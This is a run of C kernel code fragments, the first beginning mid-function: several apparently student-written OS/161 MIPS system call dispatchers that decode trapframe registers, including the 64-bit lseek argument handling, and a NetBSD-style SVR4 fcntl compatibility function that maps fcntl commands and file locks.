&retval); break; } case SYS_lseek: { // a little tricky, one of the inputs and the return value are 64 bits long. int fd = tf->tf_a0; off_t pos_left32 = tf->tf_a2; off_t pos_right32 = tf->tf_a3; //pos_left32 <<= 32; // pos_right32 is changing after this line . WTF !!! .. FOLLOW UP !! off_t left = pos_left32 << 32; //off_t pos = pos_left32 | pos_right32; off_t pos = left | pos_right32; int whence; err = copyin((const userptr_t)tf->tf_sp+16, (void*)&whence, sizeof(int)); if(err) break; off_t lseek_retval; err = sys_lseek(fd, pos, whence, &lseek_retval); if(err) break; // check this. how does the value get copied retval = lseek_retval >> 32; off_t lseek_right32 = lseek_retval; lseek_right32 = lseek_right32 << 32; lseek_right32 = lseek_right32 >> 32; tf->tf_v1 = lseek_right32; break; } case SYS_dup2: { err = sys_dup2(tf->tf_a0, tf->tf_a1, &retval); break; } case SYS_chdir: { err = sys_chdir((const userptr_t)tf->tf_a0); break; } case SYS___getcwd: { err = sys_getcwd((userptr_t)tf->tf_a0, tf->tf_a1); break; } case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; /* Add stuff here */ case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_getpid: err = sys_getpid(&retval); break; case SYS__exit: err = sys__exit(tf->tf_a0); break; case SYS_waitpid: err = sys_waitpid(tf->tf_a0, (userptr_t)tf->tf_a1, tf->tf_a2, &retval); break; case SYS_execv: err = sys_execv((userptr_t)tf->tf_a0, (userptr_t *)tf->tf_a1); break; case SYS_sbrk: err = sys_sbrk((intptr_t)tf->tf_a0, &retval); break; default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; } if (err) { /* * Return the error code. This gets converted at * userlevel to a return value of -1 and the error * code in errno. */ tf->tf_v0 = err; tf->tf_a3 = 1; /* signal an error */ } else { /* Success. */ tf->tf_v0 = retval; tf->tf_a3 = 0; /* signal no error */ } /* * Now, advance the program counter, to avoid restarting * the syscall over and over again. */ tf->tf_epc += 4; /* Make sure the syscall code didn't forget to lower spl */ KASSERT(curthread->t_curspl == 0); /* ...or leak any spinlocks */ KASSERT(curthread->t_iplhigh_count == 0); }
/* * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception-*.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno; int32_t retval; int err; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; off_t pos, new_pos; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t) tf->tf_a0, (userptr_t) tf->tf_a1); break; case SYS_open: err = sys_open((userptr_t) tf->tf_a0, (int) tf->tf_a1, (int) tf->tf_a2, &retval); break; case SYS_read: err = sys_read((int) tf->tf_a0, (userptr_t) tf->tf_a1, (int) tf->tf_a2, &retval); break; case SYS_write: err = sys_write((int) tf->tf_a0, (userptr_t) tf->tf_a1, (int) tf->tf_a2, &retval); break; case SYS_lseek: pos = (((off_t)tf->tf_a2 << 32) | tf->tf_a3); err = sys_lseek((userptr_t) tf->tf_a0, pos, (userptr_t)(tf->tf_sp+16), &new_pos); if (err == 0) { retval = (int32_t)(new_pos >> 32); tf->tf_v1 = (int32_t)(new_pos & 0xFFFFFFFF); } break; case SYS_close: err = sys_close((userptr_t) tf->tf_a0, &retval); break; case SYS_dup2: err = sys_dup2((userptr_t) tf->tf_a0, (userptr_t) tf->tf_a1, &retval); break; case SYS_getpid: err = sys_getpid(&retval); break; case SYS_sbrk: err = sys_sbrk((userptr_t)tf->tf_a0, &retval); break; case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_execv: err = sys_execv((userptr_t) tf->tf_a0, (userptr_t) tf->tf_a1, &retval); retval = 0; break; case SYS_waitpid: err = sys_waitpid((userptr_t) tf->tf_a0, (userptr_t) tf->tf_a1, (userptr_t) tf->tf_a2, &retval); break; case SYS__exit: //kprintf("TEMPPPP:Exit has been called! \n"); err = sys__exit((int) tf->tf_a0); break; /* Add stuff here */ default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; }
int svr4_sys_fcntl(struct lwp *l, const struct svr4_sys_fcntl_args *uap, register_t *retval) { struct sys_fcntl_args fa; register_t flags; struct svr4_flock64 ifl64; struct svr4_flock ifl; struct flock fl; int error; int cmd; SCARG(&fa, fd) = SCARG(uap, fd); SCARG(&fa, arg) = SCARG(uap, arg); switch (SCARG(uap, cmd)) { case SVR4_F_DUPFD: cmd = F_DUPFD; break; case SVR4_F_GETFD: cmd = F_GETFD; break; case SVR4_F_SETFD: cmd = F_SETFD; break; case SVR4_F_GETFL: cmd = F_GETFL; break; case SVR4_F_SETFL: /* * we must save the O_ASYNC flag, as that is * handled by ioctl(_, I_SETSIG, _) emulation. */ SCARG(&fa, cmd) = F_GETFL; if ((error = sys_fcntl(l, &fa, &flags)) != 0) return error; flags &= O_ASYNC; flags |= svr4_to_bsd_flags((u_long) SCARG(uap, arg)); cmd = F_SETFL; SCARG(&fa, arg) = (void *) flags; break; case SVR4_F_GETLK: cmd = F_GETLK; goto lock32; case SVR4_F_SETLK: cmd = F_SETLK; goto lock32; case SVR4_F_SETLKW: cmd = F_SETLKW; lock32: error = copyin(SCARG(uap, arg), &ifl, sizeof ifl); if (error) return error; svr4_to_bsd_flock(&ifl, &fl); error = do_fcntl_lock(SCARG(uap, fd), cmd, &fl); if (cmd != F_GETLK || error != 0) return error; bsd_to_svr4_flock(&fl, &ifl); return copyout(&ifl, SCARG(uap, arg), sizeof ifl); case SVR4_F_DUP2FD: { struct sys_dup2_args du; SCARG(&du, from) = SCARG(uap, fd); SCARG(&du, to) = (int)(u_long)SCARG(uap, arg); error = sys_dup2(l, &du, retval); if (error) return error; *retval = SCARG(&du, to); return 0; } case SVR4_F_FREESP: error = copyin(SCARG(uap, arg), &ifl, sizeof ifl); if (error) return error; svr4_to_bsd_flock(&ifl, &fl); return fd_truncate(l, SCARG(uap, fd), &fl, retval); case SVR4_F_GETLK64: cmd = F_GETLK; goto lock64; case SVR4_F_SETLK64: cmd = F_SETLK; goto lock64; case SVR4_F_SETLKW64: cmd = F_SETLKW; lock64: error = copyin(SCARG(uap, arg), &ifl64, sizeof ifl64); if (error) return error; svr4_to_bsd_flock64(&ifl64, &fl); error = do_fcntl_lock(SCARG(uap, fd), cmd, &fl); if (cmd != F_GETLK || error != 0) return error; bsd_to_svr4_flock64(&fl, &ifl64); return copyout(&ifl64, SCARG(uap, arg), sizeof ifl64); case SVR4_F_FREESP64: error = copyin(SCARG(uap, arg), &ifl64, sizeof ifl64); if (error) return error; svr4_to_bsd_flock64(&ifl64, &fl); return fd_truncate(l, SCARG(uap, fd), &fl, retval); case SVR4_F_REVOKE: return fd_revoke(l, SCARG(uap, fd), retval); default: return ENOSYS; } SCARG(&fa, cmd) = cmd; error = sys_fcntl(l, &fa, retval); if (error != 0) return error; switch (SCARG(uap, cmd)) { case SVR4_F_GETFL: *retval = bsd_to_svr4_flags(*retval); break; } return 0; }
/* * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno; int32_t retval; int err = 0; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; /* Add stuff here */ case SYS_read: err = sys_read((int)tf->tf_a0, // filehandle (void*)tf->tf_a1, // buffer (size_t)tf->tf_a2, // size &retval); // return value break; case SYS_write: err = sys_write((int)tf->tf_a0, // filehandle (const void*)tf->tf_a1, // buffer (size_t)tf->tf_a2, // size &retval); // return value break; case SYS_open: err = sys_open((const char*)tf->tf_a0, // filename (int)tf->tf_a1, // flags &retval); // return value break; case SYS_close: err = sys_close((int)tf->tf_a0); // filehandle break; case SYS_dup2: err = sys_dup2((int)tf->tf_a0, // old_filehandle (int)tf->tf_a1, // new_filehandle &retval); // return value break; case SYS__exit: sys_exit((int)tf->tf_a0); // exitcode break; case SYS_getpid: retval = sys_getpid(); // exitcode break; case SYS_waitpid: err = sys_waitpid((pid_t)tf->tf_a0, (int*)tf->tf_a1, tf->tf_a2, &retval); break; case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_execv: err = sys_execv((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; case SYS_sbrk: err = sys_sbrk((intptr_t)tf->tf_a0, &retval); break; case SYS_lseek: { off_t offset = tf->tf_a2; offset = offset<<32; offset = offset|tf->tf_a3; int whence; int err_copyin = copyin((userptr_t)tf->tf_sp+16,&whence,sizeof(whence)); if (err_copyin) { break; } off_t retoffset; err = sys_lseek((int)tf->tf_a0, // filehandle offset, // desired offset whence, &retoffset); // return value if (!err) { retval = retoffset>>32; tf->tf_v1 = retoffset; } break; } break; case SYS___getcwd: err = sys___getcwd((char*)tf->tf_a0, // buffer (size_t)tf->tf_a1, // size &retval); // return value break; case SYS_chdir: err = sys_chdir((char*)tf->tf_a0); // path break; default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; }